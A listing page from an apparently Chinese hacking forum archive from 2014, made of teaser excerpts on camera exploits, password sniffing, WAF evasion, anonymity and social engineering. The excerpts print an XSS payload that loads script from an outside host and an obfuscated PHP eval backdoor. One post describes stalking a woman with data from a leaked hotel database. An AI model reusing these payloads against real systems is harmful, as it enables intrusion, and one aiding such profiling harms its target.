个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷

MySQL下的特殊蜜罐 /fd (/proc) ‫() | 2014-02-10 23:44 Slideshow: http://www.slideshare.net/qqlan/database-honeypot-by-design-25195927 場景：假設你在渗透時發現了未移除的安装文件(install.php)，然後你用裡面的數據庫配置遠程

阅读全文

Hikvision IP Cameras Multiple Vulnerabilities, 海康威视IP摄像机的多个漏洞

2014-02-11

老系统内容 Hikvision IE IP 海康威视漏洞摄像机

约 1683 字预计阅读 4 分钟

Hikvision IP Cameras Multiple Vulnerabilities Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ 1. Advisory Information Title：Hikvision IP Cameras Multiple Vulnerabilities Advisory ID：CORE-2013-0708 Advisory URL：http://www.cor

阅读全文

穷举海康威视监控密码的小程序，入侵海康威视IP摄像机

2014-02-11

老系统内容 IP 程序海康威视监控密码入侵摄像机

约 685 字预计阅读 2 分钟

一个穷举海康威视监控密码的小程序，求修正。。求抛砖引玉光的圆周率 (等级:二逼白帽子) | 2014-02-10 12:57 海康威视密码被修改了，只能到海康威视的登陆界面，又

阅读全文

已获得网络出口引擎管理员权限，试问监控全网HTTP密码传输可能性？

2014-02-11

老系统内容 HTTP 管理监控密码权限网络

约 574 字预计阅读 2 分钟

【求解】已获得网络出口引擎管理员权限，试问监控全网HTTP密码传输可能性？光的圆周率 (等级:二逼白帽子) | 2014-02-09 15:51 RT，获取了某大型局域网的网络

阅读全文

看上一个妹子，只知道这么多该怎么继续往下社工

2014-02-09

老系统内容社工

约 1296 字预计阅读 3 分钟

看上一个妹子，只知道这么多该怎么继续往下社傻逼 (我是傻逼) | 2014-02-04 16:16 通过如家的裤子已经查出身份证号、户籍地址什么的了，也拿到证件照片了，也拿到Q

阅读全文

如何在不影响虚拟机运行的情况下绕过密码进虚拟机，hyper-V

2014-02-09

老系统内容密码绕过虚拟机

约 1164 字预计阅读 3 分钟

如何在不影响虚拟机运行的情况下绕过密码进虚拟机，hyper-V 专业查水表 (我是"J.L"的代言人o(｀ω′ )o) | 2014-02-06 13:05 撸到了一台服务器，里面有这

阅读全文

关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己

2014-02-07

老系统内容保护流量匿名网络隐藏

约 4695 字预计阅读 10 分钟

关于3G流量上网卡！（匿名上网）永久VIP (我注册了一个账号，但他变成了VIP！) | 2014-02-06 07:03 3g上网卡卡托，类似于U盘一样的小玩意，几十几百的，

阅读全文

浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉

2014-02-05

老系统内容技巧人肉社工讨论猥琐物理

约 4560 字预计阅读 10 分钟

浅谈社工，欢迎讨论、补充 Black-Hole (我12破处) | 2014-02-03 15:03 首先，我不是社工大牛。我只是谈下我个人的观点。我只提供几个思路给大家，欢迎补充。在这里我把我们

阅读全文

【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工

2014-02-03

老系统内容人肉社工物理

约 2555 字预计阅读 6 分钟

新浪源：Markham Nolan 如何辨别网上信息真伪优酷源：视频: [TED][中英字幕]2012Markham Nolan: 如何辨别网上信息真伪【TED】Mar

阅读全文

我是如何让菜刀无视安全狗的！

2014-02-02

老系统内容安全安全狗菜刀狗

约 1672 字预计阅读 4 分钟

我是如何让菜刀无视安全狗的! Sunshie (博客求大牛友链http://phpinfo.me) | 2014-02-01 13:24 需要准备的东西： ************************************** 原版菜刀一个 PHP+Apache运

阅读全文

探秘国际职业黑客：插U盘植入木马如同拍电影，做得上班族扮得007，社工大师

2014-01-31

老系统内容黑客木马社工

约 3065 字预计阅读 7 分钟

时至今日,一度为新新人类的“黑客”也算现代人认知中的熟练工种了,但他们能办到的事儿,却仍旧在刷新人们的认知底线,比如本周的全国网速大抽风,据

阅读全文

为什么诈骗短信看上去那么弱智？

2014-01-29

老系统内容短信骗诈骗

约 4217 字预计阅读 9 分钟

XX集团举行三十周年大庆典，您的手机号码获得了20万大奖。爸我在外嫖娼被抓手机被没收，快汇5万保释费到XX。相信用过手机的人都收到过类似的短

阅读全文

过滤了符号 \ 和 / 该如何绕过进行 XSS 攻击?

2014-01-27

老系统内容 XSS 攻击绕过

约 1950 字预计阅读 4 分钟

过滤了符号 \ 和 / 该如何绕过进行 XSS 攻击? 超威蓝猫 (‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮) | 2014-01-25 15:43 传入 <script src="//xss.tw/4091"></script> 输出 <script src="xss.tw4091"><script> 求大牛支招。 [原文

阅读全文

求助加密代码解密！！！比较另类的“加密”一句话木马后门……

2014-01-27

老系统内容代码后门加密解密木马一句话

约 855 字预计阅读 2 分钟

求助加密代码解密！！！ HK骚年 | 2014-01-26 14:46 帽子们，谁知道这是什么加密方式，求解密。或者给加密方式、 eval(siGnjy(passport_decrypt("ByMAUQdaUyUAWVUsU3YGaFBFVQIBNgQkDE1SVQdmVhVUdldhB1UGcAxwVFFTMwA+BiFXF1YYVzoJVAI+DDwBMAdkAFIHRVMZAF5VSVN9BhZQMlVmAWMENgxEUk4HGFYYVFBXCgd6BlMMSFRtUzUAJQYtV2JWOVceCWgCGwxwAS0HNAAyB3lTYQBOVWZTUAYXUDtVBQFKBDoMQlJxByZWP1RLVwMHLwZUDHJUXlM3ABMGB1cHVgZXbgktAgUMFAFUBzMANwdzUysAaFVyU2AGbFBNVRkBYAR7DHdSPQcdVhVUTFc5B3gGVwx5VDVTQwAbBmRXaVZiVzQJZQI3DBUBVwcuADQHalM+AHdVSVNJBi1QYFU3AWoESgx2UlMHJ1YCVEJXOQdpBlYMS1RvUzIAZQYaVwhWBVdpCTsCYQwTAWQHHwAoB1NTAQAmVW1TKgZxUDNVGQFmBGQMflJhBwVWOFRAVwYHMgZlDHFUZFNoADUGBFdgVjZXNwlVAjQMHAFPBzIAdAd5U2UAXlV/U1MGdVBWVRgBUwRkDGVSRAc+VjtUS1caBzMGcgxSVEJTSgALBmBXe1YhVwkJagI9DC8BQwcjAGAHNVNiAEhVT1NuBiJQVFVmAXMEYgxFUl8HFlYAVHdXPQdKBnwMQFRkU0oALgY2VzpWD1dsCWACFAwsAVYHMQBqB1dTIgB5VWBTMgZiUDtVEwFABFYMaVJHBydWNFRUVxIHOAZhDGhURFM3ACkGelcXVhtXPwlxAnoMPgEzBzsAcwdFUyEAYlVQU08GFVBbVSoBQQQ8DGNSfQcSViJUalciBzgGRQxmVERTfwBzBgFXGFYfVwsJUwIMDBIBNgcCAFMHeFMTAD1VKFNfBh1QO1U+AToEVQw3UlIHFlYiVEFXOgdMBlMMalQ1U2MAJgZtVwRWOlc2CW8CNgxuAU8HHAA3B3hTKAB5VSxTUwYKUFFVZwFSBGkMVVIwBx5WM1QwV2gHTAZ+DHlUcFMyABoGbFc0VgRXJgk1Aj4MGAFwBycAYwdrUwMAYVUwU1EGYlBOVTMBeARrDEBSawcgVjRUbVcJB0IGUwxUVHFTSQAIBgBXPFYWVw4JYwI2DDIBdwc7AGYHMlM0AHdVMVNUBh9QTlUKAS0ERgwzUm8HBFY6VHRXJAdFBnwMTlRyU3UAPwYwVylWG1cMCWsCPAwDAU8HNAB+B1dTEwB8VWVTbgYiUDFVFgFHBHwMVlJ8Bx1WOFRPVwgHTAZoDHlUf1N9AB4GAVcUVhBXGAlVAhwMaAF2BzMAYQdaUyEAYlVVU3cGC1AwVWYBawQ9DEVSbwchVhZURVdoB0sGagx3VFBTMAA6BjJXJFZiV28JdwIvDBMBVAcbAHEHTlM1AGJVX1NgBgNQRlUjAUwESwxmUm8HJlYwVE9XIQdqBjAMalRcU0QAaQYfVztWLFclCUgCEQwJATEHHwBQB0lTFgBsVV1TQAY1UHBVZQFgBF0MMFJzBzJWM1RTVyoHUQYwDHBUdFNAAD4GNFcaVg1XCwlOAgcMHwE1B2QAPgdmUzMAOFVVU2oGHVBPVR8BRgR/DEpSQwcmVhJUM1cKBzIGVQxtVG9TRAATBjBXNVYAVx0JMwIvDGIBKQc1AG0HOFNgAEtVTlNrBjZQaFU6AXIEdww1Un0HGlZiVEJXOAdBBjAMdlReU0gANwYNVxxWNlcTCS0CGQwNAVUHEQBkB3pTJQBHVXNTfQYJUDtVAAFsBFsMbFJzBxNWYFRcV2UHOAZVDHZUN1NrAGwGPVdkVjdXCgkyAhkMOAFLBxgASwd1U2UAeVV3U3MGMlBMVSABLQRpDGBSXwc8Vj1UaFciB2cGMgxAVClTNAA5Bn5XCFYAVxsJMwI0DD0BXAcnAHAHVVM6AFpVRFNRBmlQSVU0AWQEewxBUkwHG1YVVFNXCAdtBnwMMVRWU2gAMgYmV3tWIVcICTUCYwx0AX4HPgBMB0JTfgBAVXVTMgZvUDZVNwFwBHYMa1JLBxNWJFRmVzYHOQZ8DGVUQVN3AD4GD1dpVmFXBgkpAjMMCwFFB3wANAdwUxcAJlVrU2QGClBmVR0BQwR6DEFSNAc3VjZUU1cXB3oGZgxuVDRTLgAJBmVXGVYDVw8JMAI3DB0BcgclAD4HZFMjAGxVNFM0BjFQc1UKAUgEegxiUn0HAFZmVEVXBwczBjUMVFRkU24APQYxVzxWA1cYCTICIgw0AVAHAQBLB3VTIAAmVU1TRgYSUFlVAwF7BDwMZVIxB3tWNVRUVzgHQQZ0DDBUU1N2ACsGD1cpVh1XdwltAgQMbwF+BzAAcgdnUyQAIlUwU3YGC1BIVWcBZwRqDGtSdgc+ViFUYVc8B0EGaAxKVE1TaQAPBgNXClYMVwYJWgIEDB0BSQcEAEsHQlM2AEBVclNjBhFQT1UEAVYEWgwoUlAHO1YzVDRXYgduBkMMcVRAU2MAaQZ6Vz9WMVcRCUQCLAwXAUoHMgBCB2hTegBjVV5TfQYdUEFVEwFQBF4MQlJrBxFWM1RXVyUHRAZDDGNUUFNpAGoGBFcgVmFXFAlXAjgMCQFPBycAcgdGUycAV1VwU2MGKlBpVSYBSwQ2DGFSPQcDVhJUaldnBy8GUQx2VERTcQA6BgxXB1ZkVxIJaQIYDBkBTwcBAH4HOFMIAGpVS1N9BiJQVlU7AXUESwxVUk4HFlYIVEFXMQdIBjAMTFRhUyoADwY/Vx9WIVcOCVUCBwwuAXQHYABOB1ZTHAB+VWJTMQYrUEdVNgFrBHwMblJPBzxWaVQ1VxcHawZnDHhUfFNUAC8GFFchVgNXZQk3AhcMNwFlBw8ASQdUUxoAV1VNU3QGb1BnVRsBYwRhDG9ScgdlVidUflcjBzgGYAxGVDZTXQA9Bn5XJ1ZhVxsJbQJjDD4BSAcDAEsHMlMfAEtVRFNDBh9QSFUBAU4ETQxdUlwHHVY7VGpXHgdGBm4MVFRPU1wAOgZlVyRWLFcRCTECPwwCAW8HfABSB3JTJgBDVWFTNQY1UHpVCwFuBFgMMVIyBxxWZFRcVwAHSQYxDFRUflNBACQGBVckViFXEQlrAgQMCgEwB28AZAdBUygAf1VMU3UGI1BHVRwBcARtDF5SSgcnVmhUQ1c6B08GSwx3VGdTMgA6BiRXKVYXVzEJSAIbDAsBagcfAHMHZ1MgAFtVU1N9BhJQZ1UkAVQEewxLUk4HaVY4VGZXCgcyBlEMeVRWU0kAbgZnV2lWAVcICUkCGgwXAX8HEwBCBzZTHABkVVdTSAYKUElVeQFDBG4Ma1JgByNWK1RSV2EHcwZKDEJUb1NpAGkGEFc6ViJXbgk7AiAMCQFrBzIAaAdZUx8AJlVpU1AGH1BuVQABUwRNDHdSTgdnVn5UTVc6BzMGUwxYVEBTQQAaBhFXGFYlVzcJVQI4DAkBXAcTAEEHdVMyAEVVLFM8BjJQQlUQATcETAx0Ul0HHVYlVDBXEQdSBm4MUlQ1Uy4AEAYbVxZWJlceCVoCAQwCAVIHJABRB0RTHwBIVUJTXQYzUDZVKwFtBEEMMFJwBz5WJlRJVzkHRgZQDElUQlNTABEGG1cVVg9XKwlKAmAMGQFOBzAAUAczUzQAZFVkU10GC1BkVTYBSwRoDGJSXAcCVmJUT1coB1EGVwx7VDBTMAAsBgNXFlY4VxgJcQJiDD0BcgdvAEgHWFM3ACJVKFNnBjZQNVVqAWsEOwx2UjwHNlYhVF5XAAdUBmYMe1RRU28ALQZ+VwRWMFcICVECZgw0AU4HZABIB0hTGwB6VXJTVAY5UEhVNQFkBD4MXVI8BxNWI1QzVz4HRwZUDGtUX1NxAC4GZVcdVh5XEglqAjMMPgFMBz0AUwc1Uz8AblVxU2IGdVAoVR4BYARnDEVSZgcyVmNURlcmB0IGQgxKVG5TQgArBjhXFlYtVx4JVAJsDDQBSAcVAE0HTlMCAFdVdlNLBmJQQVUdAWwETAxgUnYHaFY2VGtXYgd6BisMb1R/U0wADgY2V2VWbVdzCWUCEgwrAXMHEAByB0VTHABaVShTKgYjUEtVJwFLBGMMTVJiB2FWP1RwVxgHMgZtDDNUfFNfADsGGFcAVmJXJQlIAjAMGQFKBzkAdAdVUyIARlVDU3AGaVAzVTEBVAQ8DERSdQcxVhJUcFc7B1UGcAxZVFxTfQAMBh5XN1ZkVx0JUAJmDBkBYwcSAH0HU1MdAGdVQ1NhBg1QTFUhAWAEOQx0UjYHZFZpVFZXFwdzBk4MRlQ0UzwALQYUVwRWYFcOCVACHww5AU4HGwBBBzlTJgBoVUBTbwY1UGdVIwFRBG0MY1JtBwRWFFRlVwYHNgZGDGJUT1MzACoGA1c0VhpXBQlyAmcMNgFpBy8ATQdKUyMAQlU/UyoGdVBCVTUBPwQy",$_GET["c"])));} [原文地址] 各种吐槽： 1# RedFree (?1:1 1-1-1112 |※(器杀制自)

阅读全文